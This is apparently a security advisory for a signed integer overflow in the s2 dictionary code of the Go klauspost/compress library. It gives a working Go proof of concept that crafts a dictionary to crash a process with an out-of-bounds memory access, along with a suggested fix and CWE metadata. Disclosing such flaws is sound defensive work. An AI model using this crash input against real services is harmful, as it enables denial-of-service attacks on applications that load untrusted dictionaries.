A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
github.com/klauspost/compress/s2NewDict function)High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Any application that:
s2.NewDict()Dict.Encode() on any data ≥32 bytesValidate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)Christopher Linke / https://github.com/celinke97/
{
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T14:33:33Z",
"nvd_published_at": "2026-09-29T15:17:27Z",
"severity": "HIGH"
}